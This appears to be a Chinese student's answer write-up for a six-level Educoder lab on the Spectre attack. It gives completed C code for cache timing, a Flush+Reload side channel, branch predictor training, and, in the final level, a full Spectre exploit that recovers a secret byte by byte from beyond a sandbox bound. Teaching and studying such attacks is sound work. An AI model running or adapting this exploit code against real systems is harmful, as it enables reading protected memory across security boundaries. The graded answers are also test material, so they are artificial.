头歌-信息安全技术-Spectre侧信道攻击过程验证

一、第1关：Cache vs Memory

1、编程要求

根据提示，在右侧编辑器完善代码，完成数据初始化、缓存驱逐、缓存加载、时延测定等全部环节，输出对array[10*4096]数组中各元素的访问时延。

2、评测代码

  for(i=0; i<10; i++) 
  	_mm_clflush(&array[i*4096]);

二、第2关：基于Flush+Reload的侧信道实现

1、编程要求

根据提示，在右侧编辑器补充代码，完成基于Flush+Reload的侧信道攻击实现，按要求打印攻击结果。

2、评测代码

//该实验中，假设用户没有Secret的访问权限，不能直接读取Secret的值，可以通过测时延来获取其内容。

#include <emmintrin.h>
#include <x86intrin.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>

FILE *fp;
uint8_t array[256*4096];
int temp;
unsigned char secret = 66;

/* 请去掉下面一行的注释，并将括号中的'THRESHOLD'替换为具体门限值，该门限值可以根据上一关中测得的缓存命中时延设定*/
#define CACHE_HIT_THRESHOLD (250)

#define DELTA 1024

void victim()
{
    
    
  temp = array[secret*4096 + DELTA];
}

void flushSideChannel()
{
    
    
  int i;
  // 初始化该数组，防止Copy-on-Write导致实验失败
  for (i = 0; i < 256; i++) 
    array[i*4096 + DELTA] = 1;
  // 驱逐缓存Cache，请在下方补充代码，将array[0*4096+DELTA]至array[255*4096+DELTA]等数据从缓存中强制驱逐
  /**************************************/
  for (i = 0; i < 256; i++) 
    _mm_clflush(&array[i*4096 + DELTA]);
  /**************************************/
}

void reloadSideChannel()
{
    
    
  int junk=0;
  register uint64_t time1, time2;
  volatile uint8_t *addr;
  int i;
  unsigned int ui;
  //请补全并下方代码，获得i*4096 + DELTA位置元素的访问时延，并将小于门限的访问行为判定为缓存命中，按照指定格式输出结果。
  /*******************/
  for(i = 0; i < 256; i++){
    
      
   addr = &array[i*4096 + DELTA];
   time1 = __rdtscp(&ui);   
   junk = *addr;
   time2 = __rdtscp(&ui) - time1;
   if ((int)time2 <= CACHE_HIT_THRESHOLD){
    
    
	  printf("访问array[%d*4096 + %d]元素时发生缓存命中，时延%d.\n", i, DELTA, (int)time2);
      printf("秘密值Secret = %d（字符：\'%c\'）。\n", i, i);
      fprintf(fp,"秘密值Secret = %d（字符：\'%c\'）。\n" ,i, i); //不要修改本行代码
   }
  } 
  /******************/ 
  
}

int main(int argc, const char **argv)
{
    
    
  fp=fopen("Spectre-Attack/ans/T2/result.txt","w");

  flushSideChannel();
  victim();
  reloadSideChannel();
  fclose(fp);
  return (0);
}

三、第3关：Spectre预测执行

1、编程要求

根据提示，在右侧编辑器补充代码，完成对CPU分支预测的训练、边界外数据（即索引大于size的数组元素）向高速缓存的加载，并利用FLUSH+RELOAD侧信道来验证目标数据是否已加载。
考虑到利用Sepctre漏洞时，因为系统噪声（即其他系统进程对CPU的占用、对缓存的占用等）的影响，某些时候分支的预测不会按照我们的期望执行，因此，本任务中将重复10次实验，查看缓存命中结果。

2、评测代码

/* 请去掉下面一行的注释，并将括号中的'THRESHOLD'替换为具体门限值，该门限值可以根据第一关中测得的缓存命中时延设定*/
 #define CACHE_HIT_THRESHOLD (300)

    // 请补全下方代码并取消注释，①将victim()函数中分支判断需要的数据'size'从缓存中驱逐，以在后续调用中触发预测执行；②将array数组中i*4096+DELTA处的数据从缓存中驱逐，以便后续reload阶段判断目标数据是否被加载。
    /*******************************************/
    for (i = 0; i < 256; i++)
        _mm_clflush(&array[i* 4096 + DELTA]); 
    /********************************************/

四、第4关：Spectre攻击简单实验

1、编程要求

根据提示，在右侧编辑器补充代码，完成CPU分支预测的训练、边界外内存数据的缓存加载，并利用高速缓存侧信道提取目标地址的敏感信息值。

2、评测代码

/* 请去掉下面一行的注释，并将括号中的'THRESHOLD'替换为具体门限值，该门限值可以根据第一关中测得的缓存命中时延设定*/
#define CACHE_HIT_THRESHOLD (300)

  // 补全下方代码，将上界、下界以及array的数据从缓存中驱逐。
  /***********************************************************/
  _mm_clflush(&bound_upper);
  _mm_clflush(&bound_lower);
  for (i = 0; i < 256; i++){
    
    
        _mm_clflush(&array[i*4096 + DELTA]); 
  }
  /***********************************************************/

五、第5关：Spectre攻击实验改进

1、编程要求

根据提示，在右侧编辑器补充代码，完成准确的敏感字符提取（本关仅要求恢复处secret的第一个字符）。

2、评测代码

/* 请去掉下面一行的注释，并将括号中的'THRESHOLD'替换为具体门限值，该门限值可以根据第一关中测得的缓存命中时延设定*/
#define CACHE_HIT_THRESHOLD (80)

  //补全下方代码，当每次字符i被命中一次，对应的积分+1
  /*************************************/
  for (i = 0; i < 256; i++) {
    
    
    addr = &array[i * 4096 + DELTA];
    time1 = __rdtscp(&junk);
    junk = *addr;
    time2 = __rdtscp(&junk) - time1;
    if (time2 <= CACHE_HIT_THRESHOLD)
      scores[i]++; 
  } 
  /*************************************/

  // 补全下方代码，从scores数组中找到最大值，并将其索引值赋值给max
  /*************************************/
  for (i = 0; i < 256; i++){
    
    
    if(scores[max] < scores[i]) max = i;
  }
  /*************************************/

六、第6关：Spectre攻击窃取敏感信息实战

1、编程要求

根据提示，在右侧编辑器补充代码，完善各函数代码，最终输出指定格式的敏感信息窃取结果。

2、评测代码

#include <emmintrin.h>
#include <x86intrin.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <unistd.h>
#include <string.h>
#include "encipher.h"

extern unsigned int bound_lower;
extern unsigned int bound_upper;

uint8_t temp    = 0;
  
uint8_t array[256*4096];

/* 请去掉下面一行的注释，并将括号中的'THRESHOLD'替换为具体门限值，该门限值可以根据第一关中测得的缓存命中时延设定*/
#define CACHE_HIT_THRESHOLD (80)

#define DELTA 2048
static int scores[256];
FILE *fp;

void flushSideChannel()
{
    
    
  //补全下方代码，初始化array数组，并将所有相关数据从缓存中驱逐
  /*************************************/
  int i;
  for(i=0;i<256;i++){
    
    
    array[i*4096+DELTA]=1;
  }
  for(i=0;i<256;i++){
    
    
    _mm_clflush(&array[i*4096+DELTA]);
  }
  /*************************************/
}

void reloadSideChannelImproved()
{
    
    
  //补全下方代码，完成高速缓存侧信道的Reload步骤，根据缓存命中情况，更新score数组
  /*************************************/
  int i;
  volatile uint8_t *addr;
  register uint64_t time1, time2;
  int junk = 0;
  for (i = 0; i < 256; i++) {
    
    
    addr = &array[i * 4096 + DELTA];
    time1 = __rdtscp(&junk);
    junk = *addr;
    time2 = __rdtscp(&junk) - time1;
    if (time2 <= CACHE_HIT_THRESHOLD){
    
    
      scores[i]++; 
    }
  } 
  /*************************************/
}

void spectreAttack(size_t index_beyond)
{
    
    
  //补全下方代码，针对指定的内存位置，开展Spectre攻击，包括缓存清空、CPU训练、缓存驱逐、预测执行和缓存加载等环节
  /*************************************/
  int i;
  uint8_t s;
  volatile int z;
  for (i = 0; i < 256; i++)  {
    
     
    _mm_clflush(&array[i*4096 + DELTA]); 
  }
  // 训练CPU，使其在攻击时进入期望的预测分支.
  for (i = 0; i < 10; i++) {
    
    
    get_info_sand_box(i);
  }
  // 将上界、下界以及array的数据从缓存中驱逐。
  _mm_clflush(&bound_upper);
  _mm_clflush(&bound_lower); 
  for (i = 0; i < 256; i++){
    
     
    _mm_clflush(&array[i*4096 + DELTA]); 
    }
  for (z = 0; z < 100; z++)  {
    
      }
  // 调用沙箱访问函数，利用预测执行漏洞访问合法内存边界之外的秘密值
  s = get_info_sand_box(index_beyond);
  if(s!=0)
    array[s*4096 + DELTA] += 88;
  /*************************************/
}

int main() {
    
    
  //补全下方代码，针对敏感信息secret的每个字节，逐个进行提取，每个字节的提取操作执行1000次，并按照指定格式输出提取结果及其积分值（可以包括最优值与次优值，即score最大的值和第二大的值的索引）。
  //打印示例：printf("第%d个秘密字符的最优值 \'%c\' (ASCII: %d) 积分：[%d] ", k, (max > 31 && max < 127 ? max : '?'), max, scores[max]);
  /*************************************/
  int i;
  uint8_t s;
  fp=fopen("/home/result.txt","w");
  size_t index_beyond = get_addr_offset();
  flushSideChannel();
  int len = get_secret_len();
  int k = 0;
  while(--len>=0){
    
    
    for(i=0;i<256; i++){
    
    
      scores[i]=0; 
    }
    for (i = 0; i < 1000; i++) {
    
    
            spectreAttack(index_beyond+k);
            usleep(10);
            reloadSideChannelImproved();
    }
    int max = 0; 
    int runner_up = 0; 
    for (i = 0; i < 256; i++){
    
    
    // printf("%d ", scores[i]);
      if(scores[max] < scores[i]) {
    
    
          max = i;
      }
    }
    for (i = 0; i < 256; i++){
    
    
      if(scores[runner_up] < scores[i] && i!=max) {
    
    
        runner_up = i;
      }
    }
    printf("第%d个秘密字符的最优值 '%c' (ASCII: %d) 积分：[%d] ", k, (max > 31 && max < 127 ? max : '?'), max, scores[max]);
    printf("次优值 '%c' (ASCII: %d) 积分：[%d]\n", (runner_up > 31 && runner_up < 127 ? runner_up : '?'), runner_up, scores[runner_up] );
    fprintf(fp,"%c",(max > 31 && max < 127 ? max : '?'));
    k++;
  }
  /*************************************/
  return (0); 
}